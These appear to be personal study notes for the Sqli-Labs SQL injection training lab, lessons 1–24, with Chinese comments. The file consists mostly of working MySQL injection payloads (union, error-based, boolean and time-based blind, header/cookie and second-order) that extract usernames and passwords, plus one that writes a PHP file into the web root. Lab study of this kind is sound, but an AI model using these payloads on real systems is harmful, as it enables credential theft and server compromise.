Sqli-Labs-Study

# Less-1
SELECT * FROM users WHERE id='$id' LIMIT 0,1;
select * from goods where gid='1' union select 1, 2, 3#' limit 0, 1;
select * from goods order by gid desc; # asc正序 desc倒序
# order by 可以根据列数来排序，正因如此也可以检测列数，结合二分法
select * from goods where gid = '-1' union select 1, 2, 3#' limit 0, 1;
# 让gid查询不到就可以执行后面的联合查询
select * from goods where gid = '-1' union select 1, database(), user()#' limit 0, 1;
# 利用联合查询查询到了database和user

# 利用information_schema的tables的(table_name, table_schema), columns, schemata的schema_name
select table_name from tables where table_schema='security';
select table_name from tables where table_schema=database();
select column_name from columns where table_schema='security' and table_name='users';
select username, password from security.users;

'
-1' union select 1, 2, group_concat(username,password) from users#

# Less-2
SELECT * FROM users WHERE id=$id LIMIT 0,1;
-1 union select 1, 2, group_concat(username,password) from users#

# Less-3
SELECT * FROM users WHERE id=('$id') LIMIT 0,1;
('
-1') union select 1, 2, group_concat(username,password) from users#

# Less-4
SELECT * FROM users WHERE id=($id) LIMIT 0,1;
("
-1") union select 1, 2, group_concat(username,password) from users#

# Less-5
'
1' and updatexml(1, concat(0x23, user(), 0x23) ,3)#
'
1' and updatexml(1, concat(0x23, (select group_concat(username, 0x3a, password) from users), 0x23), 3)#
'
1' and updatexml(1, concat(0x23, substr((select group_concat(username, 0x3a, password) from users),  1,  32), 0x23), 3)#
# 通过substr每次截取32位

# Less-6
"
1" and updatexml(1, concat(0x23, substr((select group_concat(username, 0x3a, password) from users),  1,  32), 0x23), 3)#

# Less-7 use outfile
/*
outfile条件苛刻
以下3点
mysql用户权限必须为root
知道网站物理路径
secure_file_priv参数为空
*/
(('
1')) union select 1, 2, "<?php phpinfo();>" into outfile "/var/www/html/sqli-labs/Less-7/shell.php";#
(('
1')) and updatexml(1, concat(0x23, substr((select group_concat(username, 0x3a, password) from users),  1,  32), 0x23), 3)#

# Less-8
# 布尔盲注，只有true和false两个状态
'
1' and ascii(substr(database(), 1, 1)) = 115#
'
1' and ascii(substr(database(), 1, 1)) > 11#
# 利用substr截取第一个字符再使用ascii转成ascii码与>, <, =等符号后的值进行比较逐位取得表名，可用二分法加速
'
1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema = database()), 1, 1)) > 11#
# 比较ascii表转表名，用二分法，可用python自动化

# Less-9
# 时间盲注
'
1' and if(ascii(substr(database(), 1, 1)) > 100, sleep(1), 0)#
# 值为true时便使网页sleep1s，可借由次判断注入
'
1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema = database()), 1, 1)) > 100, sleep(1), 0)#

# Less-10
"
1" and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema = database()), 1, 1)) > 100, sleep(1), 0)#

# Less-11
# post注入
'admin'#
'
a' union select 1, user()#
#不正确的用户名也可以，使用联合查询只要结果为true就可以
'
a' union select 1, group_concat(table_name) from information_schema.tables where table_schema = database()#
'
a' union select 1, group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#
'
a' union select 1, group_concat(username, password) from users#

# Less-12
("
a") union select 1, group_concat(username, password) from users#

# Less-13
# 无回显，利用updatexml报错注入
('
a') and updatexml(1, concat(0x23, user(), 0x23), 3)#
('
a') and updatexml(1, concat(0x23, (select group_concat(username, 0x3a, password) from users), 0x23), 3)#
('
a') and updatexml(1, concat(0x23, substr((select group_concat(username, 0x3a, password) from users), 1, 32), 0x23), 3)#
('
a') and updatexml(1, concat(0x23, substr((select group_concat(username, 0x3a, password) from users), 32, 64), 0x23), 3)#
# 由于updatexml只回显32位，所以使用substr依次截取32位拼接

# Less-14
"
a" and updatexml(1, concat(0x23, (select group_concat(username, 0x3a, password) from users), 0x23), 3)#

# Less-15
# post布尔盲注
'
admin' and ascii(substr(database(), 1, 1)) = 115#
'
admin' and ascii(substr(database(), 1, 1)) > 100#
# 比较ascii值转表名，用二分法更快，可用python自动化

#Less-16
("
admin") and ascii(substr(database(), 1, 1)) = 115#

# Less-17
# 密码重置用户名被过滤但密码没有
# 密码处利用updatexml报错注入
'
1' and updatexml(1, concat(0x7e, user(), 0x7e), 3)#
'
1' and updatexml(1, concat(0x7e, (select group_concat(username, 0x3a, password) from users), 0x7e), 3)#
'
1' and updatexml(1, concat(0x7e, substr((select group_concat(username, 0x3a, password) from users), 1, 32), 0x7e), 3)#
# 利用substr每次截取32位
select count(*), concat(user(), floor(rand(0)*2)) as x from information_schema.tables group by x
# floor, rand, group by报错注入
'
1' and (select 1 from (select count(*), concat(user(), floor(rand(0)*2)) as x from information_schema.tables group by x) as y)#
'
1' and (select 1 from (select count(*), concat((select password from users where username = 'admin'), floor(rand(0)*2)) as x from information_schema.tables group by x) as y)#

# Less-18
# username, password都被过滤但可使用burpsuit抓包修改user-agent注入
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)
'
a' and updatexml(1, concat(0x7e, user(), 0x7e), 3) and '1' = '1
'
# 闭合方式
('
a' and updatexml(1, concat(0x7e, user(), 0x7e), 3), '1.1.1.1', 'admin')#
# 注释方式，需补齐后面参数

# Less-19
# 利用burpsuit修改referer注入
'
a' and updatexml(1, concat(0x7e, user(), 0x7e), 3) and '1' = '1
'
# 闭合方式
('
a' and updatexml(1, concat(0x7e, user(), 0x7e), 3), '1.1.1.1', 'admin')#
# 注释方式，需补齐后面参数

# Less-20
# 利用burp修改cookie注入
'
a' and updatexml(1, concat(0x7e, user(), 0x7e), 3) and '1' = '1
'
# 闭合方式
('
a' and updatexml(1, concat(0x7e, user(), 0x7e), 3), '1.1.1.1', 'admin')#
# 注释方式，需补齐后面参数
'
-1' union select 1, 2, group_concat(username,password) from users#
# 联合查询

# Less-21
# cookie使用base64加密处理了，利用burp抓包base64加密注入代码传入即可，并改变了闭合方式
('
a') and updatexml(1, concat(0x7e, user(), 0x7e), 3) and '1' = '1
'
# 闭合方式
(('
a') and updatexml(1, concat(0x7e, user(), 0x7e), 3), '1.1.1.1', 'admin')#
# 注释方式，需补齐后面参数
('
-1') union select 1, 2, group_concat(username,password) from users#
# 联合查询

# Less-22
# 同21，仅改变了闭合方式
"
a" and updatexml(1, concat(0x7e, user(), 0x7e), 3) and '1' = '1
'
# 闭合方式
"
a" and updatexml(1, concat(0x7e, user(), 0x7e), 3), '1.1.1.1', 'admin')#
# 注释方式，需补齐后面参数
"
-1" union select 1, 2, group_concat(username,password) from users#
# 联合查询

# Less-23
# 过滤了注释符号
'
1' and updatexml(1, concat(0x7e, user(), 0x7e), 1) and '1' = '1
'
# 闭合方式

# Less-24
# 修改密码，二次注入
/*
登录均存在过滤，
但由于注册账户username字段没有过滤，可用注册一个账户在已知admin账户后添加闭合并注释后续字段，
即，admin'#，再已此账户登录修改密码，由于闭合了后续字段并注释掉多余的分号，
这样就修改了admin账户的密码
*/
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass'
# 利用admin'#修改了admin的密码